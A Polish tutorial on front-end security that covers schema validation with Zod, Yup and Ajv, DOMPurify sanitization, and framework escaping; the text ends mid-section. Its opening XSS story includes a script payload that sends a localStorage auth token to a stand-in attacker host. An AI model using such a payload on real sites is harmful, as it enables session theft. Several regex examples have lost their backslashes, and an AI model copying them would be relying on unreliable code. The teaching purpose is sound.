Bezpieczne UI w przeglądarce: biblioteki do walidacji, sanitizacji i kontroli danych

0
39
2.5/5 - (2 votes)

Nawigacja:

Scenka wyjściowa: kiedy UI staje się wektorem ataku

Krótka historia formularza, który „tylko” miał zbierać feedback

Mały zespół produktowy dorzuca do swojej aplikacji prosty formularz feedbacku: pole tekstowe, przycisk „Wyślij”, zapis do bazy, wyświetlenie opinii innym użytkownikom. Ktoś wpada na pomysł, żeby „uatrakcyjnić” wpisy: pozwólmy użytkownikom na prosty HTML – pogrubienia, linki, może listy. API zapisuje treść tak, jak przyszła, a frontend wyświetla ją przez innerHTML, żeby zadziałały znaczniki.

Po kilku dniach w logach zaczynają pojawiać się dziwne zachowania, a część użytkowników zgłasza, że wylogowuje ich w losowych momentach. Dopiero analiza ruchu pokazuje, że ktoś dodał niewinnie wyglądający komentarz, który zawierał ukryty skrypt. Każdy, kto otwierał stronę z opiniami, odpalając ten skrypt, nieświadomie wysyłał swój token z localStorage na zewnętrzny serwer.

To klasyczny przykład, jak brak walidacji, sanitizacji i kontroli danych w przeglądarce zamienia ładne UI w bramę do przejęcia sesji i danych. Interfejs użytkownika nie jest tylko warstwą prezentacji – jest pierwszą linią obrony (lub ataku), która decyduje, czy dane przejdą dalej w (w miarę) bezpieczny sposób.

Mechanizm techniczny: jak XSS łączy się z brakiem kontroli danych

W opisanej scenie zadziałał bardzo klasyczny schemat ataku XSS (Cross-Site Scripting). Użytkownik wprowadza treść zawierającą np.:

<script>
  fetch('https://atakujacy.example/steal', {
    method: 'POST',
    body: localStorage.getItem('auth_token')
  });
</script>

Backend jej nie waliduje, nie sanitizuje i zapisuje „tak jak jest”. Frontend przy renderowaniu opinii używa:

opinieContainer.innerHTML = opinia.tresc;

Przeglądarka widząc <script> – wykonuje go w kontekście tej samej domeny. Skrypt ma pełny dostęp do:

  • document.cookie – jeśli aplikacja używa ciastek do auth,
  • window.localStorage oraz sessionStorage,
  • DOM-u i wszelkich danych w interfejsie.

Po kilku milisekundach atakujący ma w ręku tokeny, ID użytkowników lub inne wrażliwe informacje, nawet jeśli backend jest perfekcyjnie zabezpieczony przed SQL injection i innymi atakami serwerowymi. Błąd jest wyłącznie w UI.

Wniosek jest prosty: bezpieczne UI w przeglądarce oznacza realne bezpieczeństwo całej aplikacji. Walidacja danych, sanitizacja HTML i kontrola przepływu danych użytkownika nie są „dodatkiem UX”, tylko integralną częścią architektury bezpieczeństwa.

Fundamenty bezpiecznego UI: co trzeba kontrolować w przeglądarce

Dane wejściowe, dane wyjściowe i kontekst renderowania

Bezpieczne UI to przede wszystkim kontrola trzech etapów obsługi danych w aplikacji webowej:

  • Input – wszystko, co przychodzi od użytkownika lub innych źródeł w przeglądarce (formularze, drag&drop, WebSocket, postMessage, dane z URL-a).
  • Przetwarzanie – logika w JS/TS, która dane łączy, filtruje, serializuje, przekazuje dalej (np. do API, do komponentu, do innerHTML).
  • Output – prezentacja, czyli sposób, w jaki dane są ponownie wstrzykiwane w DOM, atrybuty HTML, URL-e, szablony, a nawet w inline eventy.

Na każdym z tych etapów pojawiają się inne rodzaje zagrożeń. Ta sama wartość wprowadzona w formularzu jest jeszcze (dość) bezpieczna, dopóki jest zwykłym stringiem w pamięci. Ale gdy trafi np. do:

  • atrybutu href – może prowadzić do otwarcia złośliwej strony,
  • atrybutu onerror – może odpalić kod JS,
  • treści HTML przez innerHTML – może zostać zinterpretowana jako elementy DOM lub skrypt.

Kontekst renderowania jest kluczowy: inny zestaw reguł dotyczy tekstu w <p>..., inny atrybutów URL (src, href), a jeszcze inny atrybutów eventowych (których w zasadzie nie powinniśmy generować z danych użytkownika wcale).

Walidacja, sanitizacja, normalizacja i twarde blokowanie

W codziennej mowie „walidacja” często wrzuca się do jednego worka z „czyszczeniem danych”. Technicznie to różne operacje, które powinny ze sobą współpracować:

  • Walidacja – sprawdzenie, czy dane spełniają określone reguły (format, długość, typ, zakres). Jeśli nie spełniają – błąd. Tu działają biblioteki typu Yup, Zod.
  • Normalizacja – przekształcenie danych do spójnej postaci: trimowanie spacji, zamiana pustych stringów na null, konwersja stringów na liczby, standaryzacja formatu daty itd.
  • Sanitizacja – usuwanie lub modyfikacja niebezpiecznych fragmentów danych (np. z HTML-a) tak, by po renderowaniu nie mogły wyrządzić szkody. Przykładowo: wywalenie <script>, atrybutów on*, protokołu javascript:.
  • Twarde blokowanie – odrzucenie danych, zatrzymanie akcji, przerwanie requestu. Używane gdy dane nie mają sensu lub ich „wyczyszczenie” zabiłoby semantykę.

Dobry proces kontroli danych łączy te kroki w łańcuch: najpierw normalizacja, potem walidacja, dopiero dalej ewentualna sanitizacja (dla danych HTML-owych) i na końcu decision point: przyjąć, odrzucić, zapytać użytkownika o poprawki.

Typowe wektory ataków w UI

W kontekście UI najczęściej przewijają się trzy kategorie ataków, które są bezpośrednio powiązane z walidacją i sanitizacją danych w przeglądarce:

  • XSS odzwierciedlone (reflected) – payload przychodzi np. w URL-u lub formularzu i jest natychmiast wyświetlany w odpowiedzi. Frontend może wzmocnić lub utrudnić ten atak, np. przez nieostrożne użycie innerHTML czy dangerouslySetInnerHTML w React.
  • XSS przechowywane (stored) – złośliwe dane są zapisane w bazie, a UI wszystkich użytkowników grzecznie je renderuje. Dokładnie jak w scenie z formularzem feedbacku.
  • XSS DOM-based – manipulacje DOM po stronie przeglądarki, w których javascriptowy kod frontu sam tworzy podatność, np. przez wstrzykiwanie danych z location.hash w HTML bez escape’u.

UI nie chroni przed CSRF wprost, ale może nasilać skutki błędnej konfiguracji backendu, np. gdy:

  • wyświetla wrażliwe dane bez dodatkowych potwierdzeń,
  • opiera kluczowe operacje wyłącznie na stronie klienta bez ponownej walidacji po stronie serwera.

Dlatego walidacja danych w przeglądarce to nie tylko ładne komunikaty o błędach, ale pomoc backendowi w odróżnieniu realnych danych od prób ataku.

Dlaczego sama walidacja na backendzie nie wystarcza w SPA

W klasycznych aplikacjach serwer-rendered cały widok powstawał na backendzie, więc większość logiki bezpieczeństwa i tak musiała być tam. We współczesnych SPA (React, Vue, Angular, Svelte) część odpowiedzialności przesuwa się do przeglądarki:

  • komponenty renderują dane po stronie klienta,
  • często dochodzi do wielokrotnego przetwarzania tych samych danych (np. w różnych komponentach, listach, modalach),
  • czężo front dokonuje dynamicznych transformacji (np. filtracja, sortowanie, generowanie HTML-a z markdown).

Backend może walidować dane przychodzące i wychodzące, ale nie widzi wszystkiego, co dzieje się w UI. Jeśli front wyciągnie z API markdown, zrenderuje go na HTML i bez sanitizacji wklei do DOM, to serwer już tego nie „odfiltruje”. Podobnie, jeśli front statycznie inicjalizuje komponenty na podstawie parametrów z URL-a, nie weryfikując ich typu ani zakresu.

Dlatego w nowoczesnych aplikacjach bezpieczne UI oznacza: wspólny język walidacji i zasad zarówno w frontendzie, jak i backendzie. I tu wchodzą do gry biblioteki do walidacji, sanitizacji i kontroli przepływu danych.

Rola frameworków UI: co dostajemy za darmo, a co trzeba dobudować

Frameworki frontowe pomagają w bezpieczeństwie, ale często budują poczucie fałszywego komfortu. Kilka przykładów:

  • React – domyślnie escapuje wartości w JSX (tekstowe), więc {userInput} w <div> jest względnie bezpieczne. Ale wystarczy <div dangerouslySetInnerHTML={{ __html: userInput }} />, żeby tę ochronę obejść.
  • Vue – też escapuje interpolacje typu {{ userInput }}, ale v-html="userInput" zadziała podobnie jak innerHTML.
  • Angular – ma wbudowany mechanizm sanitizacji i DomSanitizer, ale daje też narzędzia typu bypassSecurityTrustHtml, które bywają nadużywane („bo nie działało, to wyłączyliśmy”).
  • Svelte – zwykłe {userInput} jest escapowane, ale {@html userInput} już nie.

Frameworki poprawiają „bezpieczne domyślne” ustawienia, ale nie zastąpią świadomej walidacji i sanitizacji danych. Potrzebne są konkretne biblioteki i wzorce, które wbudujesz w swój proces tworzenia UI.

Laptop z formularzem płatności online na ekranie
Źródło: Pexels | Autor: Pavel Danilyuk

Walidacja danych po stronie przeglądarki – strategie i wzorce

Walidacja deklaratywna vs imperatywna

Walidacja może być realizowana na dwa główne sposoby:

  • Deklaratywnie – reguły są opisane jako konfiguracja (schema, obiekt, adnotacje), a biblioteka na tej podstawie sprawdza dane.
  • Imperatywnie – piszesz funkcje walidujące „ręcznie”, np. if (!emailRegex.test(value)) errors.email = '...' .

Walidacja deklaratywna ma kilka przewag w kontekście bezpieczeństwa UI:

  • łatwiej utrzymać spójność między frontendem a backendem (te same schematy, te same reguły),
  • reguły są centralne – łatwiej przejrzeć, zrozumieć i zrefaktorować,
  • łatwiej wprowadzić mechaniczne testy pokrywające walidację.

Imperatywna walidacja sprawdza się przy pojedynczych, prostych polach, ale szybko degeneruje się w „makaron if-ów” przy większych formularzach. W dodatku w różnych miejscach aplikacji często powielane są te same fragmenty walidacji, a każda modyfikacja reguły wymaga edycji wielu plików.

Dlatego większość współczesnych narzędzi do walidacji w JS/TS opiera się na schematach – od Yup i Zod po JOI/joi-browser i narzędzia wykorzystujące JSON Schema.

Ograniczenia HTML5 Validation API

HTML5 wprowadził zestaw wbudowanych mechanizmów wokół walidacji:

  • atrybuty required, pattern, min, max, type="email", type="url" itd.,
  • metody typu checkValidity(), setCustomValidity(),
  • pseudo-klasy :valid, :invalid.

Brzmi dobrze, ale w poważniejszych projektach szybko wychodzą na wierzch ograniczenia:

  • ciężko opisać złożone reguły (zależności między polami, warunki kontekstowe, walidację asynchroniczną),
  • kontrola UX i dostępności jest ograniczona – natywne komunikaty, różne zachowanie w przeglądarkach, trudny styling,
  • reguły bywają rozsiane w HTML-u, co utrudnia spójność z backendem i testowanie.

HTML5 Validation API można wykorzystać do prostych przypadków (krótkie formularze, landing pages, strony marketingowe), ale przy aplikacjach biznesowych warto przejść na własną warstwę walidacji sterowaną schematami, a HTML5 traktować jako wspomaganie, a nie główny silnik.

Walidacja oparta na schematach (schema-based)

Wzorzec „schema-based validation” polega na tym, że definiujesz strukturę i reguły danych w jednym miejscu, w postaci obiektu (schematu), np.:

Przykładowy schemat walidacji i przepływ danych

Frontendowiec dopisuje kolejne pole do formularza rejestracji „na szybko”, bez dotknięcia schematu. Lokalnie wszystko działa, dopóki backend nie zaczyna odrzucać requestów, bo brakuje wymaganej wartości. Po kilku takich incydentach zespół zwykle dochodzi do jednego wniosku: reguły muszą żyć obok danych, a nie w komentarzach do Jiry.

Prosty przykład schematu opartego na Zod (ale podobnie wygląda to w Yup, Vest czy JOI):


import { z } from 'zod';

const registrationSchema = z.object({
  email: z.string().email(),
  password: z.string().min(12),
  displayName: z.string().min(3).max(50),
  marketingConsent: z.boolean().optional()
});

type RegistrationData = z.infer<typeof registrationSchema>;

Taki schemat można zastosować w kilku miejscach:

  • przy parsowaniu danych z formularza – zanim trafią do API,
  • w warstwie API-clienta – gdy przychodzą dane z backendu,
  • w testach – generując przykładowe dane zgodne ze schematem.

Fragment prostego przepływu w UI:


function handleSubmit(formData: FormData) {
  const raw = Object.fromEntries(formData.entries());

  const parsed = registrationSchema.safeParse({
    email: raw.email,
    password: raw.password,
    displayName: raw.displayName,
    marketingConsent: raw.marketingConsent === 'on'
  });

  if (!parsed.success) {
    // mapowanie błędów z parsed.error do UI
    showErrors(parsed.error);
    return;
  }

  // parsed.data ma już poprawne typy i wartości
  api.register(parsed.data);
}

Mini-wniosek: gdy schemat jest pierwszoplanowy, walidacja nie rozlewa się po komponentach. UI jedynie reaguje na wynik walidacji, zamiast samodzielnie wymyślać reguły.

Walidacja synchroniczna vs asynchroniczna

W małym formularzu logowania wszystko jest „tu i teraz”: sprawdzenie długości hasła czy formatu emaila trwa ułamek milisekundy. Przy poważniejszych procesach biznesowych dochodzą reguły zależne od zewnętrznych źródeł – nagle część walidacji staje się asynchroniczna.

Typowe przykłady walidacji asynchronicznej w UI:

  • sprawdzenie uniqueness – czy nazwa użytkownika lub subdomena jest wolna,
  • weryfikacja kodu jednorazowego (OTP),
  • walidacja danych powiązanych – np. NIP/REGON w systemach B2B, numeru klienta w systemie bankowym.

Dobry wzorzec to rozdzielenie:

  • wymagań formalnych (kształt, typ, zakres) – walidowanych synchronicznie schematem,
  • reguł biznesowych, które potrzebują backendu lub innego systemu – walidowanych asynchronicznie, zwykle na osobnym etapie.

Prosty schemat działania w UI:

  1. Użytkownik wpisuje dane → walidacja schematem (sync) na blur lub przy każdej zmianie.
  2. Po spełnieniu kryteriów formalnych → odpalany jest debounced call do API weryfikującego np. dostępność nazwy użytkownika.
  3. Wynik walidacji async jest osobnym stanem błędu, który nie blokuje całej formy, dopóki dane są „lokalnie” poprawne.

const usernameSchema = z.string().min(3).max(20);

async function validateUsername(value: string) {
  const syncResult = usernameSchema.safeParse(value);
  if (!syncResult.success) {
    return { valid: false, error: 'Nazwa powinna mieć 3–20 znaków' };
  }

  const exists = await api.checkUsernameExists(value);
  if (exists) {
    return { valid: false, error: 'Taka nazwa jest już zajęta' };
  }

  return { valid: true };
}

Oddzielenie tych dwóch poziomów ogranicza chaos: logika „czy string wygląda jak nazwa” zostaje po stronie schematów, a pytania „czy świat zewnętrzny to akceptuje” są w jasnym, asynchronicznym przepływie.

Walidacja po wejściu do aplikacji (input validation) vs „przed wyjściem” (output encoding)

Podczas przeglądu bezpieczeństwa często wychodzi, że formularze są sprawdzane rygorystycznie, ale dane wyświetlane w innych miejscach (np. w panelach admina, tooltipach, historii zmian) lecą do DOM „na żywca”. To efekt mylenia walidacji wejścia z zabezpieczeniem wyjścia.

Dwa odrębne procesy:

  • Input validation – sprawdzanie tego, co wchodzi do systemu (formularze, webhooki, uploady). Decyzja: przyjąć, przyciąć, odrzucić.
  • Output encoding / escapowanie – zabezpieczenie wszystkiego, co wychodzi z systemu do UI (widoki, HTML, atrybuty, JS, CSS).

Prosty scenariusz błędu: backend filtruje HTML wprowadzany w komentarzach, ale aplikacja admina pozwala edytować komentarz w polu „raw HTML” i renderuje go potem przez innerHTML. Atakujący nie musi łamać walidacji – wystarczy, że znajdzie jedno miejsce renderingowe, w którym dane nie są escapowane.

  • Walidacja schematem nie unieważnia potrzeby escapowania przy renderowaniu.
  • Sanitizacja HTML nie zwalnia z obowiązku stosowania bezpiecznych API (np. używania textContent zamiast innerHTML, gdy tylko się da).

Praktycznie: każdy punkt w UI, w którym dane trafiają do DOM, powinien być przeglądany pod kątem tego, czy przechodzą one przez bezpieczną ścieżkę wyjścia (np. JSX escapujący tekst, komponent <SafeHtml /> z sanitizacją) zamiast surowego innerHTML.

Biblioteki do walidacji w przeglądarce – przegląd narzędzi

Zod – walidacja + typowanie dla TypeScript-first aplikacji

W projektach, które mocno stawiają na TypeScript, często wygrywa Zod. Schemat jest jednocześnie walidatorem i źródłem typów dla TS, więc przeglądarka i kompilator grają do jednej bramki.

Kluczowe cechy Zod:

  • schemat jako kod – definicje poprzez API w JS/TS, bez osobnego języka deklaratywnego,
  • generowanie typówz.infer<typeof schema> daje dokładny typ wejścia/wyjścia,
  • obsługa zagnieżdżonych struktur, unionów, enumów, customowych refinements,
  • dobrze działa w środowiskach isomorphic (node + browser).

Fragment bardziej złożonego schematu z logiką bezpieczeństwa:


const profileSchema = z.object({
  bio: z.string().max(500).transform(v => v.trim()),
  website: z.string().url().optional(),
  social: z.object({
    twitter: z.string().regex(/^@?[wd_]{1,15}$/).optional(),
    github: z.string().regex(/^[wd-]{1,39}$/).optional()
  }).optional()
});

// z góry ograniczamy pole bio i URL do sensownych wartości,
// zanim trafią do ewentualnej sanitizacji.

W kontekście UI bezpieczeństwo z Zod wynika z tego, że:

  • można centralnie kontrolować format popularnych pól (email, URL, phone),
  • schematy można współdzielić z backendem w Node.js, redukując różnice w walidacji,
  • łatwo zdefiniować bezpieczne wartości domyślne (przez .default()), co zmniejsza liczbę null-checków w UI.

Yup – klasyk walidacji schematowej w świecie formularzy

Duża część ekosystemu Reacta wyrosła na Yup – szczególnie w połączeniu z Formik czy React Hook Form (choć ten ostatni coraz częściej promuje Zod). Yup jest elastyczny, a jego API często bywa bardziej „przystępne” dla osób przyzwyczajonych do stylu jQuery.

Przykład prostego schematu z Yup:


import * as Yup from 'yup';

const loginSchema = Yup.object({
  email: Yup.string().email().required(),
  password: Yup.string().min(8).required()
});

Atuty Yupa w kontekście bezpieczeństwa UI:

  • dojrzały ekosystem, wiele przykładów integracji z bibliotekami formularzowymi,
  • prosta definicja zależności między polami (np. potwierdzenie hasła),
  • możliwość dodawania własnych metod walidacyjnych, np. .safeString(), które ucina niewidoczne znaki.

Praktyka: w aplikacjach, w których TS nie jest pierwszoplanowy lub zespół ma duży dług techniczny, Yup bywa łatwiejszym wejściem do świata walidacji schematowej. Jeśli backend korzysta z JOI, koncepcje będą podobne.

Validator.js i inne „utility-first” biblioteki

Są projekty, w których zamiast pełnego „silnika” schematowego wystarczy zoptymalizowany zestaw prostych funkcji: isEmail, isURL, isMobilePhone. To rewir validator.js i podobnych bibliotek.


import validator from 'validator';

if (!validator.isEmail(email)) {
  errors.email = 'Nieprawidłowy adres email';
}

if (!validator.isStrongPassword(password, { minLength: 12 })) {
  errors.password = 'Hasło za słabe';
}

Takie narzędzia sprawdzają się:

  • w małych formularzach, gdzie nadmiarowy schemat byłby przesadą,
  • w komponentach „niższego poziomu”, które robią np. pre-walidację pól wejściowych,
  • w sytuacjach, gdy backend używa tych samych funkcji (np. współdzielony kod w monorepo).

Pułapka jest jedna: łatwo wpaść w imperatywny chaos if-ów, jeśli utility-bibliotki zamienią się w jedyny mechanizm walidacji. Często dobrze jest otoczyć je cienką warstwą „mini-schematu” lub choćby funkcją validateForm(), która zwróci spójny model błędów.

JSON Schema + walidatory (Ajv, superstruct, Vest)

Przy integracjach B2B, protokołach API czy obszarach, gdzie kontrakty danych są „twarde”, prym wiedzie JSON Schema. W przeglądarce zazwyczaj korzysta się z niej przez walidatory takie jak Ajv.

Korzyści z JSON Schema w UI:

  • te same schematy mogą służyć do walidacji payloadów na backendzie, generowania dokumentacji i kontroli formularzy w SPA,
  • wiele narzędzi potrafi z JSON Schema generować formularze dynamiczne,
  • łatwo zintegrować z API-first podejściem (OpenAPI, AsyncAPI).

Ajv jako walidator przeglądarkowy:

  • kompiluje schematy do zoptymalizowanych funkcji JS,
  • obsługuje niestandardowe formaty (np. format: 'email', format: 'uri'),
  • nadaje się do walidacji zarówno danych z formularzy, jak i odpowiedzi z API w runtime.

Superstruct czy Vest z kolei proponują swoje DSL-e walidacyjne. Sprawdzają się w projektach, w których nie ma twardego wymogu JSON Schema, ale jest chęć pisania czytelnych, modułowych reguł walidacji z naciskiem na developer experience.

Walidacja domenowo-specyficzna: IBAN, NIP, PESEL, karty płatnicze

W aplikacjach finansowych, medycznych czy rządowych zwykłe .min() i .max() szybko przestają wystarczać. Pojawiają się numery identyfikacyjne, które mają własne algorytmy kontrolne.

Przykładowe kategorie:

  • numery rachunków (IBAN, NRB),
  • identyfikatory podatkowe (NIP, VAT ID),
  • kody osobowe (PESEL),
  • karty płatnicze (Luhn).

Zamiast kopiować z internetu po raz dziesiąty tę samą funkcję do walidacji PESEL, lepiej:

  1. wybrać wyspecjalizowaną bibliotekę do danego rynku (np. pakiety typu pesel, iban, card-validator),
  2. otoczyć ją adaptorem do schematu (Zod/Yup/JSON Schema),
  3. używać adaptora w całej aplikacji – frontendzie i backendzie.

Taki adapter dla Zod może wyglądać tak:


import { z } from 'zod';
import { isValidPesel } from 'pesel-lib';

const peselSchema = z
  .string()
  .regex(/^d{11}$/)
  .refine(isValidPesel, 'Nieprawidłowy numer PESEL');

Dzięki temu logika charakterystyczna dla kraju/branży staje się „pierwszej klasy obywatelem” w warstwie walidacji, zamiast żyć w niepodpisanych helperach.

Pisz mniej walidacji ręcznie: integracja z frameworkami UI i formami

React Hook Form, Formik i spółka – delegowanie zarządzania stanem formularza

Spinanie walidacji schematów z logiką formularzy

Frontendowiec siada do ekranu rejestracji: cztery pola, banalna logika. Po dwóch sprintach pojawia się RODO, marketing, walidacja podatkowa i 10 nowych warunków. Nagle proste onChange przeradza się w spaghetti z walidacją rozsypaną po całym kodzie.

Frameworki formularzowe typu React Hook Form czy Formik rozwiązują ten problem, ale dopiero spięte z bibliotekami schematów dają kontrolę nad bezpieczeństwem.

React Hook Form + Zod/Yup – jedna prawda o danych

React Hook Form ma dwie przewagi z perspektywy bezpieczeństwa: minimalizuje liczbę re-renderów (łatwiej zachować czytelny kod) i wspiera zewnętrznych „resolverów” walidacyjnych.

Integracja z Zod wygląda tak:


import { useForm } from 'react-hook-form';
import { zodResolver } from '@hookform/resolvers/zod';
import { z } from 'zod';

const signupSchema = z.object({
  email: z.string().email(),
  password: z.string().min(12),
  displayName: z.string().max(50).trim()
});

type SignupForm = z.infer<typeof signupSchema>;

function SignupFormComponent() {
  const { register, handleSubmit, formState: { errors } } = useForm<SignupForm>({
    resolver: zodResolver(signupSchema)
  });

  const onSubmit = (data: SignupForm) => {
    // data jest już znormalizowana i częściowo bezpieczna
  };

  return (
    <form onSubmit={handleSubmit(onSubmit)}>
      <input type="email" {...register('email')} />
      {errors.email && <span>{errors.email.message}</span>}

      <input type="password" {...register('password')} />
      {errors.password && <span>{errors.password.message}</span>}

      <input type="text" {...register('displayName')} />
      {errors.displayName && <span>{errors.displayName.message}</span>}

      <button type="submit">Zarejestruj</button>
    </form>
  );
}

Taki układ ma kilka praktycznych konsekwencji:

  • walidacja i normalizacja (np. .trim()) są centralne i testowalne,
  • komponenty wejściowe nie muszą znać reguł bezpieczeństwa – dostają tylko register i błędy,
  • prościej zsynchronizować front i back – backend może używać tych samych schematów.

Podobnie z Yupem + Formik: schemat siedzi w jednym miejscu, a komponenty formularzy są cienkie.


import { Formik, Form, Field, ErrorMessage } from 'formik';
import * as Yup from 'yup';

const schema = Yup.object({
  email: Yup.string().email().required(),
  comment: Yup.string().max(300)
});

function CommentForm() {
  return (
    <Formik
      initialValues={{ email: '', comment: '' }}
      validationSchema={schema}
      onSubmit={(values) => { /* wysyłka do API */ }}
    >
      <Form>
        <Field name="email" type="email" />
        <ErrorMessage name="email" component="span" />

        <Field name="comment" as="textarea" />
        <ErrorMessage name="comment" component="span" />

        <button type="submit">Wyślij</button>
      </Form>
    </Formik>
  );
}

Wniosek: stan formularza warto oddać bibliotece, ale kształt danych powinien być pilnowany przez schemat. Taki podział ról utrudnia „przemycenie” niebezpiecznych wartości.

Re-używalne komponenty pól z wbudowanymi strażnikami

Przy kilku formularzach jeszcze da się ręcznie podłączać walidację. Przy kilkudziesięciu – sensownie jest mieć zestaw wspólnych pól, które dbają o podstawowe reguły bezpieczeństwa.

Przykład komponentu SafeTextField, który zawsze ucina długość i usuwa niewidoczne znaki:


type SafeTextFieldProps = React.InputHTMLAttributes<HTMLInputElement> & {
  maxLengthSafe?: number;
};

const SafeTextField: React.FC<SafeTextFieldProps> = ({
  maxLengthSafe = 200,
  onChange,
  ...rest
}) => {
  const handleChange = (e: React.ChangeEvent<HTMLInputElement>) => {
    let value = e.target.value.normalize('NFKC');
    if (value.length > maxLengthSafe) {
      value = value.slice(0, maxLengthSafe);
    }
    e.target.value = value;
    onChange?.(e);
  };

  return <input {...rest} onChange={handleChange} />;
};

Taki komponent nie zastępuje walidacji schematem, ale stanowi pierwszą linię obrony: ogranicza payload, usuwa niektóre „dziwne” znaki, redukuje ryzyko niespodzianek przy renderowaniu.

Formularze generowane ze schematów – minimalizowanie ręcznych błędów

Przy rozbudowanych panelach administracyjnych ktoś zawsze pomyli jedno pole, zapomni o walidacji albo wyrenderuje dane w niewłaściwy sposób. Gdy formularze generują się automatycznie ze schematów, okazji do takich wpadek jest mniej.

Popularne podejście: JSON Schema + biblioteka typu @rjsf/core (react-jsonschema-form) albo własny generator formularzy.


const userSchema = {
  type: 'object',
  properties: {
    email: { type: 'string', format: 'email' },
    role: { type: 'string', enum: ['user', 'admin'] },
    isActive: { type: 'boolean', default: true }
  },
  required: ['email', 'role']
};

// react-jsonschema-form wygeneruje z tego formularz
// z gotową walidacją typu, enumem i domyślną wartością.

Takie podejście pomaga w kilku obszarach:

  • spójność – wszystkie formularze korzystają z tych samych definicji typów i zakresów,
  • redukcja błędów – deweloper nie przegapi pola lub walidacji, bo schemat jest kompletny,
  • łatwiejsze wymuszanie ograniczeń bezpieczeństwa (np. maksymalnej długości wielu pól jednocześnie).

Na dużych projektach wygodne bywa zestawienie: JSON Schema na poziomie kontraktu, a lokalnie Zod/Yup jako adapter z dodatkowymi regułami „UI-only” (np. szczegółowe komunikaty błędów).

Walidacja w czasie rzeczywistym vs. przy submit – perspektywa bezpieczeństwa

Zespół UX często naciska na natychmiastowe komunikaty: czerwone ramki, ikonki, hinty. Zespół bezpieczeństwa przypomina, że zbyt gadatliwy formularz ułatwia atakującemu zgadywanie poprawnych wartości.

W praktyce można to pogodzić:

  • w czasie pisania sprawdzać reguły „łagodne” – długość, wymagane pola, formaty podstawowe,
  • reguły „twarde” i wrażliwe (np. czy email istnieje w systemie, czy dany NIP jest zarejestrowany) zostawiać na etap submitu, najlepiej z walidacją także po stronie backendu,
  • unikać zbyt szczegółowych komunikatów typu „użytkownik nie istnieje, ale email poprawny” – to gotowy oręż do enumeracji kont.

Dobry kompromis: pole hasła walidowane live (długość, złożoność), ale komunikaty o poprawności loginu czy dostępności nazwy użytkownika formułowane w sposób nieułatwiający skanowania systemu.

Sanitizacja i escapowanie – ochrona przed XSS na poziomie UI

Nowy kolega w zespole dostał zadanie: wyświetlić „opis produktu” zwracany z backendu. W dokumentacji stoi, że to „HTML kontrolowany”. Dodaje więc bez zastanowienia dangerouslySetInnerHTML. Dwa tygodnie później tester wrzuca payload z <script> i demo zamienia się w pokaz XSS.

Walidacja mówi, czy dane mają właściwy kształt. Sanitizacja i escapowanie decydują, czy renderowanie tych danych w ogóle jest bezpieczne.

Escapowanie kontekstowe: tekst, atrybut, URL, HTML

Nie ma jednego „magicznego” escapera dla wszystkich przypadków. Inaczej traktuje się dane wplecione w tekst, inaczej w atrybucie HTML, inaczej w URL-ach czy w kontekście CSS.

  • tekst węzła – bezpieczne jest ustawienie textContent (DOM) lub poleganie na automatycznym escapowaniu frameworka (React/Angular/Vue),
  • atrybuty – wartości typu title, alt, aria-label powinny być traktowane jak tekst; bezpośrednie wstrzykiwanie do onclick czy onload jest antywzorem,
  • URL – trzeba sprawdzać schemat (tylko http, https, ewentualnie kilka innych bezpiecznych), a następnie poprawnie kodekować, np. przez encodeURIComponent(),
  • HTML – jeśli naprawdę trzeba przyjąć HTML od użytkownika, powinien przejść przez whitelist-based sanitizację.

Frameworki zwykle dobrze escapują „tekstowe” scenariusze. Problemy zaczynają się, gdy logika UI wymusza użycie niskopoziomowych API typu innerHTML, document.write czy manualne budowanie atrybutów.

DOMPurify i spółka – praktyczna sanitizacja HTML

Gdy w grę wchodzi HTML od użytkownika (edytory WYSIWYG, podpisy, notatki), sensownie jest sięgnąć po sprawdzone biblioteki zamiast pisać sanitizację ręcznie. W świecie przeglądarki najczęściej używa się DOMPurify.


import DOMPurify from 'dompurify';

function SafeHtml({ html }) {
  const clean = DOMPurify.sanitize(html, {
    USE_PROFILES: { html: true },
    ALLOWED_URI_REGEXP: /^https?:///i
  });

  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Ten wzorzec jest powtarzalny:

  • tworzymy jeden komponent odpowiedzialny za bezpieczne renderowanie HTML,
  • nigdzie indziej nie wolno używać surowego dangerouslySetInnerHTML,
  • DOMPurify konfigurujemy raz, z uwzględnieniem wymagań aplikacji (dozwolone tagi, atrybuty, źródła URL).

W aplikacjach, gdzie jest więcej frameworków (np. React + klasyczny jQuery widget), warto mieć podobne „bramki” także poza Reactem – np. helper, który przyjmuje HTML i zwraca wyczyszczony string.

Ograniczanie powierzchni ataku: polityka treści zamiast czyszczenia wszystkiego

Sanitizowanie każdego skrawka danych bywa kosztowne i skomplikowane. Często skuteczniejsze jest zaprojektowanie UI w taki sposób, żeby w ogóle nie trzeba było przyjmować „niebezpiecznych” formatów.

Przykłady:

  • zamiast „opis może zawierać HTML” – użycie markdownu renderowanego po zdezynfekowaniu, z ograniczonym zestawem znaczników,
  • zamiast „wklej dowolny embed” – lista zaufanych providerów i tylko ID filmu/posta,
  • zamiast style="..." od użytkownika – predefiniowane klasy CSS (np. .highlight, .warning).

Takie ograniczenia są czasem niepopularne produktowo, ale znacząco obniżają koszty bezpieczeństwa i testów. Dane przychodzą w prostszej formie, którą łatwiej bezpiecznie wyrenderować.

Bezpieczne API frameworków: ufaj domyślnym mechanizmom, ostrożnie z wyjątkami

Większość nowoczesnych frameworków traktuje XSS poważnie: React automatycznie escapuje wartości w JSX, Angular ma wbudowany mechanizm DomSanitizer, a Vue filtruje interpolacje tekstu.

Problemy zaczynają się w dwóch sytuacjach:

  1. świadomie wyłączamy zabezpieczenia – np. v-html w Vue, innerHTML w Angularze, dangerouslySetInnerHTML w React,
  2. obchodzimy framework, manipulując DOM ręcznie (np. przez document.querySelector() + innerHTML w efektach).

Przykład w Angularze:


@Component({...})
export class UnsafeComponent {
  htmlFromApi = '';

  constructor(private sanitizer: DomSanitizer) {}

  setHtml(raw: string) {
    // ZŁE: bezrefleksyjne oznaczenie jako safe
    this.htmlFromApi = this.sanitizer.bypassSecurityTrustHtml(raw) as any;
  }
}

bypassSecurityTrustHtml to potężne narzędzie, którego powinien dotykać wyłącznie kod, który wcześniej przeszedł zewnętrzną, solidną sanitizację. W przeciwnym razie framework staje się tylko „ozdobą” na wierzchu niebezpiecznego DOM-u.

Podobnie w React – jeśli w kodzie pojawiają się surowe użycia dangerouslySetInnerHTML, warto uczynić je czerwonymi flagami w code review i zgromadzić w jednym miejscu (np. w dedykowanych komponentach do bezpiecznego HTML).

Łączenie walidacji, sanitizacji i kontroli wyjścia w spójny przepływ

